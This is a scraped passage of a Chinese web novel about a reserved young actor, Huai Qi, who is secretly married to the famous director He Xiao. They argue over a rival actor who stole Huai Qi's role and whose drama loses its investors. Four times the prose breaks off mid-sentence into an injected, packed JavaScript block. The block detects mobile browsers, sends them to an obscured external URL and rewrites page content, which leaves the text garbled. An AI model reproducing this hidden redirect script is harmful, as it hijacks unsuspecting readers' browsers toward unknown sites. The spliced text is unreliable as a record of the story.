就连那些热度低得可怜的通稿下,还有人在那质疑导演选角的能力,不过很快评论就消失不见。
怀栖又没太多粉丝,粉丝也一向非常佛系,平时除了在超话发发怀栖那些能被盘包浆的旧照,连数据都不用做。
除了剧宣,怀栖压根不发微博营业,连张自拍都不舍得发。
用庄望的话来说就是简直暴殄天物。
都进娱乐圈了,还不好好利用自己的脸和资本?!
庄望:[要不要让我哥帮你把角色抢回来啊?]
怀栖连忙拒绝了庄望的好意。
庄望:[为什么?我哥现在怎么也算是你老板,怎么也有照顾你的责任吧!]
庄望他哥是怀栖现在所在公司的老板,也就是他和卢乐共同的老板,当初怀栖想进娱乐圈演戏,也是庄望给的建议,毕竟有熟人好办事,不过这么久以来,怀栖一次没动用过自己的资本,更别说让老板出面。
卢乐现在背后有人砸钱捧着,真要是闹起来,不是砸了庄望他哥的摇钱树吗?
更何况这件事他自己已经有了解决办法。
怀栖笑了笑,干脆直接发了条语音,“别人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051706|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抢走的我肯定不会再要,我什么时候捡过别人的垃圾?”
他声音清清冷冷,透出骨子里养尊处优的矜贵。
庄望连忙哎了声,“那你准备不管了?”
“管,抢了我的东西总要付出点代价。”怀栖语气还是很淡,也不算是特别把这件事放在心上。
不过不只是针对卢乐,还针对剧组。
他向闻华确认剧组的态度,也是为了这件事。
至于卢乐参演贺崤电影的事情,反正到时候贺崤也会被一堆人骂眼光差,那都是贺崤自食其果。
怀栖垂着眉眼,唇角瞬间往下压了压,原本暗下去的手机屏幕在这时候亮了起来,跳出来一条来自贺崤本人的视频通话请求。
怀栖抬起眉眼,眼里闪过一丝不快,但还是按下了接听。
很快,贺崤那张脸出现在了怀栖的手机屏幕上。
看起来贺崤是在工作室,背景杂乱,书架上的书放得东倒西歪,而贺崤就坐在沙发上,面带笑意地看着镜头,挑了挑眉,张开嘴巴:“怀小少爷一大清早发这么大火气干什么?”
“我什么时候发火了?”一看见贺崤那张脸,怀栖原本的心平气和瞬间被打破,他立马伸手把手机屏幕上两人的画面换了下,贺崤那张脸立马缩小去了角落里,不仔细看压根看不清他什么表情。
恰好怀栖有点散光,能完全把贺崤的脸堵住。
贺崤轻轻啊了声,“你的意思是说你刚刚给我发的那句"贺崤你给我解释一下为什么会被拍到从别墅出去"外加十几个感叹号,不是你在生气,只是在发表你激动的情绪吗?”
贺崤这语气听起来实在是烦人,再说自己就算是真的发火又怎么了?怀栖板着脸:“你知道就好,我不是告诉过你不准被拍到从家里出去吗?现在我要怎么出门?别墅区附近肯定有狗仔蹲着!”
怀栖刚进圈的时候就跟贺崤约定过,两人不准被拍到任何一点蛛丝马迹,也不准被外人知道他们的婚姻关系。
怀栖只想安安静静演戏,好好磨炼自己的演技,他对火没有一点兴趣,就算一直演没什么戏份的配角也无所谓,但是贺崤名气太大,一旦和贺崤扯上关系,现在这种安心演戏,出门不会被拍,出事也无人关注的状态肯定会被打破。
虽然他和贺崤一年到头碰面的次数并不多。
他看起来是真生气,平时那张对着自己不怎么笑的脸这会儿板得更厉害,不过依然没有一点威慑力。
盯着怀栖那张脸看了一会儿,贺崤自知理亏,嗯了声,主动承认错误:“这回是我疏忽。”
他凌晨天还没完全亮的时候就走了,没想到那会儿居然有人在别墅区外面守着,他也没注意自己被拍了,上了热搜之后才知道,不过这时候再去把照片买断,岂不是欲盖弥彰,干脆也就没管。
没想到怀栖这么快就来兴师问罪。
“你以后还是不要回来了。”在外面见面还安全点。
主要是这别墅怀栖还没住腻,要是老有狗仔蹲着,他肯定也没法继续住下去了,被拍了就会很麻烦。
贺崤眼皮动了动,突兀地笑了下。
明明画面都缩小了,怀栖还是猝不及防和他对上视线,心头突然跳了下。
漫不经心地盯着人看,贺崤散漫地问:“我就这么见不得人?”
5. 第 5 章
什么见不得人?
他哪句话有这个意思?
平心而论,贺崤那张脸一点也没有见不得人的模样。
怀栖把两人的画面再度对换,贺崤那张脸立马在屏幕上放大,嘴角噙着似有若无的笑,看不出来他刚那话是生气了还是在发神经。
就算生气了也跟自己没关系。
这件事是之前就约定好的,虽然确实听起来对贺崤不太公平,让贺崤有家不能回。
怀栖垂了垂眼,哦了声,见贺崤似乎是把手机架在了面前的桌子上,视野变得更开阔了,还有一些桌上的东西入了镜,甚至还有一杯包装十分眼熟的奶茶。
刚到喉咙口的略微的一点愧疚感瞬间消失,怀栖唇角立马绷直,完全没再在意贺崤落在自己身上的那点视线,立马质问:“贺崤,你手机旁边那是什么?”
贺崤挑眉“嗯?”了声,非常自然地把那杯速溶奶茶拿起来,“这个啊,我走的时候在厨房转了圈,除了咖啡就是这玩意,咖啡太苦喝不来,就只能喝这个了,甜得要命。”
他俩都不在家里常住,怀栖住的时间久,但也不会做饭,之前还有阿姨做饭,后来他住了宿舍后,阿姨就回老宅去了,现在的厨房压根就是摆设,什么吃的都没有。
怀栖拧着眉,“那是我的东西。”
速溶奶茶当然很便宜,但怀栖平时为了上镜没少控制自己别乱喝这种乱七八糟的垃圾饮料,也就在家里藏了一杯,准备休息的时候喝。
哪知道找了半天没找到的东西,被贺崤一声不吭拿走了!
他也不是心疼,就是烦。
也不知道自己在烦什么。
怀栖说完就沉默下来,安静地看着手机。
他跟贺崤一般都没什么话要说,除非到了要联手应付家里的时候,当初结婚的时候就说好两人是商业联姻,没什么感情基础,自然也求不来什么婚后恩爱,更别提贺崤的工作性质,粉丝一大堆,要是知道他背着他们结了婚,还是跟男人,不知道还会闹成什么样。
他不说话,那头贺崤跟个没事人一样,居然还笑着问:“怎么了怀小少爷,不会这么小气吧?你的东西我都不能碰吗?”
怀栖虽然娇生惯养,但脾气并不大,贺崤跟他结婚这么久,接触的机会不多,但确实如此。
他说这话也带了点调侃的意思。
“对,不能。”
他的东西就是谁都不能碰,贺崤也不能。
贺崤跟他结了婚,也算是他的东西,结果现在贺崤居然让那个卢乐进他的电影!
怀栖板着一张脸,说话的间隙手已经放在了挂断键上,快按上去的时候,他又想起来什么,非常冷淡地警告贺崤:“没什么大事不要找我。”
说完毫不留情挂断视频,留下那头贺崤一脸茫然。
许久,贺崤才轻轻啊了声。
看来怀小少爷这不知道打哪儿来的气还是没散。
咬着吸管把廉价的奶茶一饮而尽,贺崤皱了皱眉,片刻又笑出声。
真不理解这小少爷,明明脾气挺大,怎么吃东西倒是一点也不挑?
除了性格不讨喜,贺崤还是非常听话的,让他别找自己就不找自己。
连着几天,怀栖都没再见过贺崤,也没收到过贺崤的任何消息。
这人就跟压根没回来没跟自己联系过一样。
倒是有个署名为“周松”的快递寄到了家里。
周松是贺崤的经纪人。
怀栖蹲在地上,再度确认了一下收件人是他自己,才把这半人高的箱子拆开。
几分钟后,怀栖黑着脸拍了张照片给几天没联系的贺崤发了过去,[你有病吗贺崤?!]
照片上赫然是一个装着不知道多少杯速溶奶茶的大纸箱。
怀栖这辈子都没喝过这么多速溶奶茶。
贺崤回消息倒是很快:[怎么了小少爷,这不是给你赔礼道歉吗?少喝点小心蛀牙。]
他都这么大了轮得到贺崤来叮嘱他小心蛀牙?
贺崤是不是真的有什么毛病?
怀栖从小到大接受良好教育,骂人的话平时都说不出来,这会儿是真的很想学点,不过没等他搜索完,贺崤的消息就又跳了出来。
贺崤:[箱子最下面有惊喜,确定不拆开看看再骂我?]
最好不是骗他。
狐疑地瞥了箱子几眼,怀栖把那些奶茶全都拿了出来。
底部确实还有一层,放了点东西。
一个包装精美的盒子,是怀栖很喜欢的一个牌子最新款手表,据说是全球限量款,怀栖前几天在网上刷到了新品发布会,但还没来得及购买就没货了。
还有一张门票。
一张赛车比赛的门票。
怀栖没太多爱好,赛车算是一种,不过他自己不敢玩,只喜欢看。
这种比赛门票少得可怜,都需要门路才能搞到,怀栖之前也去看过,但次数不多。
看得出来贺崤非常懂得投其所好。
绷直的唇角往上扬了扬,贺崤再次掐着时间发了消息过来:[怎么样,是不是想谢谢贺崤哥?]
也不知道贺崤对哥这个称呼是有多执念。
明明他俩的身份完全不一样,喊贺崤哥,怀栖总觉得像是在喊闻哥、贺谦哥那样礼貌又疏离的存在。
片刻,怀栖回复语音:“谢谢贺崤叔叔。”
就贺崤那个比他大十岁的年纪,喊一声叔叔其实也算不上太过分。
贺崤“正在输入……”了好一会儿,没动静了。
怀栖忍不住笑出声,去衣帽间挑了件和新手表相称的西装,戴上手表给手表拍了几张照,想了想给贺崤发了过去。
毕竟是贺崤买的东西,怎么也得给点售后。
没等到贺崤有什么反应,怀栖就接到了闻华从外地回来的电话。
闻华约他在公司见面,把之前剧组给的违约合同给他确认下,顺便把最近淘到的不错的剧本带给他挑一挑。
“你现在在宿舍没?我过去接你?”
怀栖随便找了件衣服套上,手表想了想还是没舍得脱,“我在外面玩,现在打车过来。”
看起来已经从那件事里走出来了,闻华深感欣慰,又立马紧张起来,“没被拍吧?”
怀栖:“……”
蹲在别墅区外面的狗仔早就被赶走了,这边的别墅区安保很好,也很怕受到住户投诉,狗仔在贺崤上热搜那天就被赶了出去,物业还特意给业主私发了消息,让业主们安心。
至于其他的……
怀栖叹了声气,“应该没人能认出我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051707|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
闻华顿时心疼起来。
到公司的时候闻华已经在等着了,一见着怀栖,闻华立马笑得找不着眼睛,往怀栖身后看了眼,确认外面没什么人,闻华立马把办公室门给关上,压低了声,“我刚听说那部剧掉了好几个投资。”
“哪部剧?”怀栖心里有数。
他联系的人前两天就给了回复。
不过看闻华那么担心自己的样子,他还是装一装早就不记得这件事好了。
虽然他演技不行,唇角也跟着闻华一块儿翘起来了。
闻华正处在兴奋中,压根没注意到这一点,拼命压着自己幸灾乐祸的样子,“还能有哪部剧,就你之前拍的那部,我刚来的时候经过那边办公室,听他们在说,剧掉了好几个投资,资金完全不够用了,不知道还能不能继续拍下去。”
怀栖早就知道这事,投资的事他找人做的,想要跟他家合作的人很多,更别提他身后还有个贺家,只要他想,哪个投资都能撤下去。
剧组要是按照正常流程通知他,他也不会干这种事,他就是想要得到应有的尊重而已。
哪怕他在他们眼里只是个没有任何背景的小演员,这种尊重也是应该的。
但剧组偏偏不给,就喜欢欺软怕硬。
没一会儿,怀栖发现有点不对劲。
“资金不足?”他记得自己只是让人找了两个投资商而已,按照道理,完全够继续拍下去,只不过稍微过得拮据点而已。
主演的演技还算不错,怀栖也没那么强的报复心理。
闻华哎了声,“是啊,据说都掉光了,也不知道是得到了什么消息出了什么劣迹艺人还是咋的。”
不过要真有这种事,他们肯定早就得到消息了。
闻华看了眼正低头不知道给谁发消息的怀栖,拍了拍他肩膀:“咱们也算是因祸得福了,不然估计连违约金都不一定能拿到,再拉投资也不知道得等到什么时候。”
这投资掉得非常莫名其妙,也很突然,想要再拉新的投资肯定很困难,商人都不是什么傻子,肯定知道这这中间有什么猫腻,除非卢乐乐意补上这个窟窿,不然这剧估计就黄了。
不过这事恰好发生在怀栖离组之后,就像是……像是怀栖干的一样。
但想想也不可能。
摸着鼻子看了眼朝自己轻轻弯着眉眼的怀栖,闻华暗暗叹了声气。
就怀栖这顶着一张清冷漂亮的脸实则人畜无害又乖巧的性格,就算真有这资本,估计也干不出来这种事。
再说怀栖要真有这本事,演什么不好非得演那种没什么镜头的小角色?
他真是兴奋过头了,什么事都敢乱想!
见闻华一把捂住脸,怀栖瞥了眼庄望发来的回复:[啊?我干什么了?我最近非常老实啊!什么也没干啊我哥回家都没骂我!]
怀栖:[没事了,去玩吧孩子]
想想也是,庄望也没那个权利,庄家是庄望他哥做主,庄望就是个被架空的富二代。
但除了庄望……怀栖脑子里浮现出另一张脸,一张……明明长得成熟英俊,却非得吊儿郎当的脸。
总不能是贺崤。
但那天贺崤确实问过自己要不要他帮忙。
贺崤什么时候喜欢管自己的事情了?
6. 第 6 章
在公司待了大半天,怀栖从闻华带来的一众剧本里挑了两本自己感兴趣的题材。
这些剧本的主演都已经定好了,剩下的只有一些没什么镜头的小角色,恰好符合怀栖的需求。
临回去之前,闻华把手机递到怀栖眼皮子底下,“你粉丝因为你角色被换的事情都哭了几天了,你要不要发条微博安慰一下他们?”
闻华给怀栖看的是怀栖的微博超话。
怀栖平时不怎么看这些东西,上回看还是贺崤给他看自己的行程那次。
正如闻华所说,平时很冷清的超话,这几天帖子倒是不断。
「角色真的被换了吗?」
「这个卢乐是谁啊,长得还没栖崽一半好看」
「姐妹们谨言慎行!我们人少骂不过对方啊!!请阅读超话规则!不要在超话提任何无关人员!」
「老婆不会偷偷躲在被窝里哭吧?嘿嘿想起来好带感!不过我更喜欢他在我床上哭啦」
这条下面的评论是最多的。
怀栖:“……”
确定是粉丝哭,不是粉丝想让他哭?
瞥了闻华两眼,见闻华一脸期待地看着自己,怀栖微微抿了抿唇:“要发什么?”
闻华对他已经够宽容了,在别的艺人隔三差五营业的时候,闻华从来不会逼着他去做这些,他想安安静静演戏就安安静静演戏,但怀栖也不是不知道,闻华自始至终都指望着自己有朝一日能大红大紫。
不过闻华这个想法终归要落空。
怀栖进娱乐圈只是单纯为了演戏,他从来没想过要红。
红了以后麻烦太多,也不够自由,还容易被人扒出家底。
除了在给闻华发工资的时候偷偷加点奖金,怀栖也就只能在这种小地方来弥补他。
几分钟后,怀栖除了剧宣都不怎么更新的微博终于冒出来一条新的他拍。
照片上的男生靠在阳光照射的窗玻璃上,没什么表情地看着镜头方向,什么妆造都没做,头发随意地拨弄几下刘海搭在额前,未施粉黛的脸上没有一点瑕疵,甚至穿的还是最朴素的白色衬衫,偏偏给人一种迎面而来的美感。
活脱脱就是个清新脱俗的清冷大帅哥。
不得不承认闻华带过那么多艺人,拍照技术炉火纯青,能拍得人的优点无限放大。
当然也有自己本身就长得没有缺点的功劳。
欣赏了一会儿照片,怀栖认可地把照片存进云盘,跟在闻华身后出了办公室。
闻华还在那翻评论,表情肉眼可见变得激动。
怀栖微博粉丝数不多,不过活粉很多,照片一发出去就得到了不少反馈,当然让闻华更激动的是,涨粉了!
「我靠这是什么时候新进宫的,朕怎么没见过?」
「第一次见栖崽发照片……怎么感觉比剧里好看很多,剧是开丑颜了吗?」
「就这也好意思跟卢乐比?」
闻华眉头一皱。
果不其然,没多久,原本平和的评论区变得一片乌烟瘴气,疑似水军下场,不断地把怀栖和卢乐两人放在一起比较,明明不是卢乐主场,对方罗列出一堆卢乐的作品,直接把怀栖那些没有一点名气的小角色压得死死的。
而怀栖那些本来就没什么体量也没什么战斗力的粉丝压根吵不过对方。
见闻华眉头紧皱,怀栖抱着剧本问:“怎么了?”
闻华脚步一顿,“……没什么。”
怀栖压根没见过这种场面,闻华当然也不会让他徒增烦恼,照片本来就是他让怀栖发的。
纠结许久,闻华狠狠心,找到了经常买的水军店家。
不就是买水军吗?谁不会!
压根不知道网上已经因为自己那张照片打起来的怀栖也没怀疑什么,得到回答之后就低着头去看消息。
怀疑是贺崤干出把剧搞黄的时候他就给贺崤发了消息,不过到现在贺崤都没回复。
庄望说得也没错,这人果然有时候就跟死了一样。
抿了抿唇,刚把手机放下,怀栖就听见一阵由远及近的说话声。
“空有一张脸有什么屁用,谁知道是不是从哪里拼接来的,除了演一些不入流的小角色还能演什么。”说话的是个很普通的男声。
循着声音看过去,怀栖只看见自己斜对面走过来两人。
其中一人穿着一件上万块钱的名牌T恤,胸前的标志恨不得把牌子贴在别人的眼皮子底下,告诉他们自己很贵,这人的脸看起来有几分眼熟,但又较为平淡,鼻子高挺得有些奇怪,在太阳光的照射下甚至有些半透明化了。
而他身边的男人怀栖之前倒是在刚进公司面试的时候见过,是公司的某个经纪人,当初对方问自己能否完全接受特殊工作安排,怀栖直接拒绝了。
没等怀栖把人认出来,在他身前的闻华就突然靠了声,二话不说直接张开双臂把怀栖挡在自己身后,跟玩老鹰抓小鸡游戏似的。
“闻哥?”闻华这态度,怀栖突然猜出来了,刚说话的男声应该就是这个面熟的男人发出来的,是卢乐。
他在现实里还真没见过卢乐,电视剧磨皮重,导致他没能第一时间认出对方。
卢乐显然也认出了他,目光直接越过闻华锁定在他脸上,在走到他旁边的时候,卢乐停下脚步,阴阳怪气地哟了声:“这是怀栖吗?不好意思啊之前抢了你的角色。”
闻华挺了挺胸口,努力踮起脚试图挡住卢乐的视线,卢乐身后的经纪人笑了起来,“闻华你这是干什么?搞得好像我们会吃人一样,大家都是一个公司的,碰到了打个招呼也没什么吧?”
“可能不好意思见我吧。”卢乐接话接得很快。
这两人跟一唱一和似的。
闻华在怀栖面前话多,但在别人面前完全就是个憨厚老实的人,被这么一说,憋了几秒没憋出一句话来。
倒是衣服被拽了下。
“闻哥,没事。”怀栖确认自己之前没见过卢乐,也不知道对方哪来的敌意,不过想到卢乐靠关系进了贺崤的电影,他突然不怎么想就这样一走了之了。
他从闻华身后走出来,直接走到了卢乐面前,垂着眼淡淡地看着卢乐。
怀栖在男生里面算不上特别高的,也才一米七九的身高,但在卢乐面前,看着倒比卢乐还高一点,这样看着卢乐颇有点居高临下的意思,再加上他那张本身就带着清冷意味的脸,光站在那不说话就给人一种“我很不好惹”的信息。
他的眼神里也压根没有一点卢乐口中的不好意思,只有分外的平静,似乎完全不把卢乐看在眼里。
近距离的面对面实在是太有冲击性,卢乐居然被他看得愣了好一会儿都没能说出什么话来。
他身后的闻华左右脚开弓,一副随时要冲上去护崽的姿态。
意料之中的战争并没有一触即发,闻华只等来了卢乐下意识的后退两步。
就在这时候,怀栖轻轻点头,很有礼貌地说:“你好。”
卢乐:“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051708|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
卢乐昂起脑袋,“。”
一副你不配跟我说话的样子。
怀栖也不在意,只是看着卢乐自顾自打招呼,“剧还能继续拍下去吗?”
卢乐:“……”
怀栖一提这个卢乐脸色就更难看了。
不知道出了什么事,那部剧的其他几个投资商居然集体撤资,而他背靠的人其实也就投了那么一点钱进去,压根支撑不了后续的制作。
剧拍不下去,导演居然还跟他沟通问他能不能多投点钱,可以给他的角色多加点戏份。
要不是为了膈应怀栖,他才不会去抢这种角色!就算加了戏份都没什么用!
但是抢都抢了,要是中途跑了,岂不是让人看不起他?
他背靠的那人现在正在兴头上,自然愿意投钱,但也就只能支撑一段时间,后续要继续拍,还得拉别的投资。
但是压根拉不到。
他跟经纪人今天来公司也是为了这事。
他现在手上资源多,公司说不定愿意为了日后爆火的他投点钱。
怀栖这语气不像关心也不像嘲讽,卢乐憋着一肚子火居然发不出去,憋了一会儿才瞪着眼,“你都被踢出去了还管这么多?有空管管你自己吧,别以后连小角色都接不到。”
“谢谢关心。”怀栖淡淡点头,片刻后又盯着卢乐的鼻子,“你的鼻子没做好。”
卢乐一张脸瞬间涨得通红,眼睛死死瞪着怀栖,恨不得把怀栖的脸瞪出一个洞,都没找到怀栖脸上哪个部分像假的。
而怀栖压根没在意他什么反应,说完又说了句再见,直接扭头走了。
卢乐还没能从直白的打击中缓过劲来,光盯着怀栖的背影看,在闻华跟上怀栖的那一刹那,卢乐的目光落到了怀栖的手腕上。
怀栖的手看起来像是那种养尊处优的少爷,腕骨上搭着一只外表不凡的手表,卢乐最近买东西买多了,只觉得这手表分外眼熟,但又想不起来在哪儿看过。
还是经纪人黑着脸提醒他:“看什么呢?没事就别搭理他了,反正他也比不上你。”
卢乐瞬间被安抚到,表情好看了许多。
也是,怀栖算个什么,他的角色自己想要就能要,下次看他还敢不敢嘲讽自己。
至于那块手表,估计就是个仿品。
公司大门口,死死憋着笑的闻华跟在怀栖身后,“卢乐那表情要被气死了,你怎么那么会吵架?”
他还怕怀栖被欺负,结果怀栖往那一站气势凌人,要不是了解怀栖,闻华都怀疑自己面前站的是哪家尊养出来的大少爷,带着与生俱来高人一等的气质,压得卢乐跟个草民似的。
闻华都看呆了。
“没有吵架。”要说吵架,怀栖不会,他也从来没遇到过卢乐这样的人,但他看得出来,卢乐肯定很在意自己的鼻子,“我只是实话实说。”
但也没有解气。
要骂还不如骂贺崤。
卢乐在他眼里根本算不上什么,多说几句话他都觉得浪费时间。
这样一想,原本对贺崤把剧搞黄了这事生出的一点感谢,顿时消失得无影无踪。
恰好这时候,一直没什么动静的手机响了起来。
贺崤:[怎么了想我了?想我直说就好,没必要拐弯抹角]
怀栖:“?”
怀栖眼皮往上抬了抬,落到自己发的那句[在忙吗]上面。
这三个字,哪里表达了“想他了”这种情绪?
7. 第 7 章
一直到回到宿舍,怀栖都没搭理贺崤。
等洗过澡出来,他才慢吞吞拿出手机,就看见贺崤给自己发了几条新消息。
贺崤:[不用害羞,有什么话直接说就好了]
贺崤:[害羞.jpg]
怀栖:“……”
怀栖立马打字:[贺崤你很闲吗?]
之前那么久没回消息,现在又拼命给他发消息。
贺崤:[也还行,刚结束今天的试镜工作]
贺崤一提这个,怀栖就想起卢乐,顿时没什么好气:[你那电影还需要试镜?我以为只需要带资进组就行]
他对卢乐其实没那么在意,单纯就是不喜欢自己的东西被人染指的感觉。
他话里浓浓的气味,贺崤挑眉:[有钱不行,有人倒是可以]
也是,贺崤又不缺钱,他的电影想要分一杯羹的人一大把,犯不着为了钱出卖一个角色。
但是,人?
如果他没理解错的话,这句话的意思是,贺崤愿意为了某个人放宽自己的标准?
但卢乐那张脸……贺崤的眼光居然是这样的吗?
没等怀栖想明白,贺崤的视频通话就打了过来。
接通电话的第一时间,怀栖盯着贺崤那张含笑的脸,淡声嘲讽:“贺崤你又喝醉了?”
贺崤今天换了个酒店背景,身上还只穿了件浴袍。
怀栖往他露出的胸肌那儿瞥了眼,果断将两人的画面对转,直接让贺崤去了右上角的小屏幕。
“还没来得及喝。”贺崤说话有点沉,目光不着痕迹地从怀栖露在镜头里的上半身飘过。
怀栖很明显刚洗过澡,头发都是湿的,穿了件丝绸的睡衣,水将领口打湿了,丝滑的布料贴在他白皙的肌肤上,水珠还顺着他的耳垂滑落到颈部。
贺崤不自觉地坐直了点身体,喉结滚了几下。
画面缩小了,怀栖也压根没看见他这些行为,只淡淡哦了声,“没喝醉没事给我打视频干什么?”
以前怎么没发现贺崤这么喜欢打视频电话?
“不是你说想我了吗?想我了当然要让你解一下相思之情。”贺崤说着甚至还把镜头往自己脸上怼了几分,直接让自己的脸占满了一张屏幕,似乎是要让怀栖完全看个清楚看个够。
猝不及防被那张脸凑近,怀栖心跳跟着漏了一小拍。
怀栖:“……”
也就一小拍而已,他对贺崤这张脸确实没什么抵抗力,但也仅仅只是脸而已。
贺崤说话根本没个正经,表明了就是故意曲解他的意思,他连解释都不想跟贺崤解释,直接换了个话题,“剧的投资是你让人撤的?”
除了贺崤,也没人会干这种事了。
还干得这么果决。
贺崤虽然是演员,但骨子里还流着贺家人的血,贺家是贺崤大哥掌权,但贺崤手里还有不少贺氏的股份,他不止经营自己那个工作室,还有别的产业,有钱人的手段都大差不差,遇到不顺心的东西,直接眼不见为净。
但怀栖搞不明白,这中间应该也没有让贺崤看得不顺心的东西吧?
贺崤有必要为了自己干这种事?
“传得这么快?”贺崤承认得倒是爽快,靠在沙发上嘴角噙着私有若无的笑意,还是那副算不上稳重的模样,“我还打算亲自告诉你,好让你对我心怀感激。”
怀栖眉头微微皱起,“我为什么要对你心怀感激?这不是你应该做的吗?”
不论贺崤出于什么样的心理,贺崤是他的合法丈夫,两人是利益共同体,自己被人欺负了,这种事本来就是贺崤该做的。
他在纠结什么贺崤的出发点?
怀栖突然想通了。
不过还有一点。
贺崤说的那句“人可以”到底是什么意思?他真的对卢乐有什么别的心思?要是真对卢乐有意思,有必要把剧搞黄吗?
也不是,剧还没有完全黄。
怀栖瞬间绷直了唇角。
见怀栖表情变得那么快,贺崤没忍住笑了下。
怀栖这话说得倒是有几分把两人当成一家人的模样,这小少爷难得会透露出依赖自己的意思,听得贺崤心情舒畅,唇角都多往上扬了几分。
也不知道有什么好笑的地方。
将贺崤的画面放大,怀栖狐疑地多看了贺崤的表情两眼,片刻后又冷静下来,“剧还有别的投资商。”
他不信贺崤既然能让所有的投资商都撤资,却查不到卢乐头上。
“你是说卢乐?”贺崤果然知道这个人。
从贺崤嘴里出来卢乐这两个字,怀栖心里莫名不痛快。
所以贺崤明明知道却没让对方撤资,算是给了一条生路。
怀栖垂着眼,一时间没再说话。
他本身就是偏清冷的长相,没什么表情的时候看起来多少有点唬人。
贺崤的视线在他脸上停留,不自觉拿起一旁的水杯喝了几口,然后才慢条斯理地开口:“把他留着不好吗?他想演就让他自己投资。”
听起来确实非常资本手段,甚至比直接把剧搞黄了更让卢乐难受,但到了怀栖耳中还是多了点别的意思。
就好像是贺崤不舍得对卢乐下手一样。
怀栖也觉得自己这样的想法冒得非常莫名其妙且没有一点道理,但人的情绪哪里能是自己控制的,尤其是想到贺崤说的什么“人可以”那里,两件事直接串联起来,他的脸就板得更厉害。
就算怀栖没说话,贺崤都能从屏幕中感受到了他是真的在生气。
又是哪句话惹得他不痛快了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051709|179056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他们结婚两年多,说实话面都没见过几次,更别说像现在这样的聊天。
所以这是又对自己不满意了?
贺崤垂眸,眼底的情绪一闪而过,片刻后又笑了笑,“还是我又猜错了?你对这样的处理方式不满意?”
猜什么?
明明自己早就跟他说过这件事的起源就是角色被抢,还有电影的事情都已经提过,他不信贺崤那么聪明,一点都不知道,更何况电影就是贺崤的心血。
就算这样,贺崤还是这样处理。
怀栖冷冷地看着镜头:“贺崤,我们结婚的时候就说过不允许双方有任何出轨行为,你要是对别人有兴趣了,我们的婚姻……”
“你是不是误会了什么?”怀栖的话还没说完就被贺崤打断,“我什么时候对别人有兴趣了?”
贺崤确实对这话莫名其妙。
不过仔细一想,怀栖似乎还挺在意他。
就是不知道哪门子来的他对别人感兴趣?
“有没有你自己心里最清楚。”怀栖到了嘴边的话硬生生咽了进去,见贺崤唇角又勾了起来,甚至有愈演愈烈的趋势,他实在有点忍不住脾气,凶声道:“你笑什么?!”
贺崤轻轻啊了声,“没什么,就是你这么在意我,让我非常高兴。”
怀栖:“……”
他哪里透露出在意他的信息了?
“至于我对别人感兴趣这事儿……能不能仔细给我讲讲?我出道这么多年,似乎没和谁传过绯闻……就算结了婚也被藏得跟偷情似的……”说到最后,贺崤还低笑了声,就是那语气莫名传出几分委屈来。
谁跟他偷情……怀栖眼皮动了动。
贺崤的履历非常清白,在娱乐圈摸爬了这么多年,虽然遇到不少想蹭他关系的人,但他的公关团队向来雷厉风行,一点风吹草动就能直接扼杀在摇篮里,就连电影宣传期间,都没有一点绯闻冒出来过。
怀栖清楚这件事,不然当初也不会选他结婚。
被这么坦荡一问,怀栖选择性忽略了最后那句话,心里不自觉松动了些,但依然理直气壮:“不是你自己说的有钱不行,有人可以?你自己给人开后门,难道你心里不清楚?你是鱼脑吗?!”
受过良好教育的小少爷连凶起来骂人都没什么威慑力,尤其是那张漂亮的脸板着嘴巴一张一合,反而像……连爪子都不会伸就开始挠人的猫。
只会挠得人发痒。
不过……原来是因为这个。
贺崤笑意更甚,赞同地点头,“我倒是想开后门,就是不知道这人给不给我这个机会。”
怀栖脸色更臭,就听贺崤慢悠悠问他:“所以怀栖,你要给我这个机会吗?”
没一会儿,贺崤就看见怀栖原本白皙的皮肤瞬间染上了红。
8. 第 8 章
视频电话最终以怀栖坚决的“不要”两个字结束,挂得非常果断。
重新在浴室里洗了把冷水脸,脸上的温度慢慢降下来,怀栖看向镜子。
